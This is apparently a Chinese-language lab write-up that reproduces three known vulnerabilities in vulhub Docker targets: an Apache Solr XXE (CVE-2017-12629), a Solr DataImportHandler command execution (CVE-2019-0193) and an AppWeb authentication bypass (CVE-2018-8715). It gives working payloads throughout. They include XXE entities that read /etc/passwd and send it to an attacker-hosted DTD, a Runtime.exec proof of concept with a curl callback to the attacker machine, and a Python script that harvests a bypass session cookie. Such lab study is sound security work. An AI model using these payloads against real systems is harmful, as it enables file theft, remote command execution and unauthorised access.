docker/docker-compose 复现漏洞
复现基于:
docker : https://www.docker.com/
vulhub : https://vulhub.org/
docker 安装 & docker-compose 安装
教程地址:
vulhub
详细:这个里面安装docker-compose方法挺好的
开始前的准备
1.获取vulhub
git clone https://github.com/vulhub/vulhub.git
或者直接从仓库克隆镜像
2.获取环境并运行
选择一个要复现的CVE,切换到该目录,查看其中的文档教程
获取并启动容器:docker-compose up -d
建议在管理员身份执行,不然可能会报错 No module named ssl_match_hostname
3.启动后,访问 http://your-ip:port 即可(文档中提供了端口port)也可以直接输入 127.0.0.1:port
实例(持续更新)
0x01:Apache solr XML 实体注入漏洞(CVE-2017-12629)
参考文章:
1.从Blind XXE漏洞到读取Root文件的系统提权
2.vulhub文档
环境:
名称 | IP |
---|---|
靶机 | 192.168.230.132:8983 |
攻击机 | 192.168.230.133 |
漏洞成因:
大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
这是一个典型XXE漏洞的缺陷编码示例,Lucene包含了一个查询解析器支持XML格式进行数据查询,出现问题的代码片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中
通过查看调用栈中的数据处理流程,在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE。
步骤:
环境自身已经帮我们创建了一个demo的core,自己创建的话会出问题,显示少了一些配置文件,所以直接利用这个demo
漏洞处在:http://192.168.230.132:8983/solr/demo/select?q=YouAreHacked&wt=xml&defType=xmlparser
这个接口,调用接口的具体页面应该是在这里 http://192.168.230.132:8983/solr/#/demo/query
由于已知是XXE,那么首先测试一下会不会是简单直接的有回显的XXE
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE easy [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<easy>&file;</easy>
很遗憾,失败了,并不会直接出现在页面上
报错:
No QueryObjectBuilder defined for node easy in {q=<?xml+version%3D"1.0"+encoding%3D"utf-8"?>+%0a<!DOCTYPE+easy+[++%0a<!ENTITY+file+SYSTEM+"file:///etc/passwd">+]>+%0a<easy>%26file;</easy>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
那就复杂一点的:
首先测试一下是否对DTD和外部实体进行禁用处理:
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/getmsg.php?msg=test">
%remote;]>
<root/>
//注意:上述的 remote 实体调用的是自己搭建的用于接收接收信息的页面,确定靶机是否访问了外网,便于后续引用外部实体
//注意还有一点,上述payload需要URL编码,否则会报错
于是访问页面 http://192.168.230.132:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//192.168.230.133/wordpress/msg/getmsg.php%3Fmsg%3Dtest%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser
查看攻击机上的记录:
很明显访问了外网
第一种,利用报错形成有回显的XXE:
payload:
<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://192.168.230.133/wordpress/msg/test.dtd">
%ext;
%ent;
]>
<r>&data;</r>
攻击机(远程主机)上的外部实体 test.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
第二种:既然能访问外网,那么能不能将数据外带呢?----无回显的XXE
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/test2.dtd">
%remote;
%int;
%send;
]>
<root/>
``
攻击机(远程主机)上的外部实体 `test2.dtd`
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.230.133/wordpress/msg/getmsg.php?msg=%file;'>">
很遗憾,又失败了。这是为什么?PHP上是可以执行的,为什么JAVA版的就不行呢?
最终报错:
Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
问题经过测试 出现在 %file;
处,改成其他字符而不是引用实体的话没任何问题,唯独 %file;
不行。我心态崩了呀!
更改 %file;
为'aaa2'的话,出现报错为:
org.apache.solr.search.SyntaxError: No QueryObjectBuilder defined for node root in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
但是会发送数据,即执行 <!ENTITY % send SYSTEM 'http://192.168.230.133/wordpress/msg/getmsg.php?msg=aaa2'>
复现过程中也遇到同样的问题的师傅可以交流一下
0x02 Apache Solr 远程命令执行漏洞(CVE-2019-0193)
环境:
名称 | IP |
---|---|
靶机 | 192.168.230.132:8983 |
攻击机 | 192.168.230.133 |
漏洞成因: *** |
步骤:
首先启动漏洞环境,并创建一个叫做 test 的 core
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
打开漏洞页面 http://192.168.230.132:8983/solr/#/test/dataimport//dataimport
,勾选 debug
点击 Execute with this Confuguration
执行
poc:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/test.txt");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
结果:
由于环境里面没有nc,所以也反弹不了 shell,但是有curl,所以可以访问一下攻击机
命令为 curl http://192.168.230.133/wordpress/msg/getmsg.php?msg=YouAreHacked!
0x03:AppWeb认证绕过漏洞(CVE-2018-8715)
参考文章:
AppWeb认证绕过漏洞
环境:
名称 | IP |
---|---|
靶机 | 192.168.230.138:8080 |
攻击机 | 192.168.1.100 |
漏洞成因:
AppWeb 是 Embedthis Software LLC 公司负责开发维护的一个基于 GPL 开源协议的嵌入式 Web Server。他使用 C/C++ 来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供 Web Application 容器。
AppWeb 可以进行认证配置,其认证方式包括以下三种:
- basic 传统 HTTP 基础认证
- digest 改进版 HTTP 基础认证,认证成功后将使用Cookie来保存状态,而不用再传递 Authorization 头
- form 表单认证
其 7.0.3 之前的版本中,对于 digest 和 form 两种认证方式,如果用户传入的密码为null
(也就是没有传递密码参数),appweb 将因为一个逻辑错误导致直接认证成功,并返回session。
利用前提:
利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为 admin
。
步骤:
-
打开网页,提示输入用户名/密码(form 表单认证),如果点击取消,不输入账号密码,也会显示未授权
具体请求报文为:
-
在刷新网页时抓包,并且在请求头中添加
Authorization: Digest username=admin
,也就是将认证方式替换为 basic 传统 HTTP 基础认证方式
我们并没有传入密码字段,服务端在处理时出现了错误,对比步骤一中可以看到响应报文中的内容多了 Set-Cookie
字段,内容为一个 session,并且响应结果也变成了认证成功的响应
- 将
-http-session-
添加到 cookie 中
然后重新发起请求,可以发现,已经绕过了认证
简单的漏洞探测脚本:
# 用法:python CVE-2018-8715.py url username
import requests
import sys
url = sys.argv[1]
user = sys.argv[2]
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
'Authorization':'Digest username='+user
}
response = requests.post(url,headers=headers)
if(response.status_code == 200):
print("该网站存在漏洞,返回的 session 为:" + response.headers['Set-Cookie'])
else:
print("Falied!")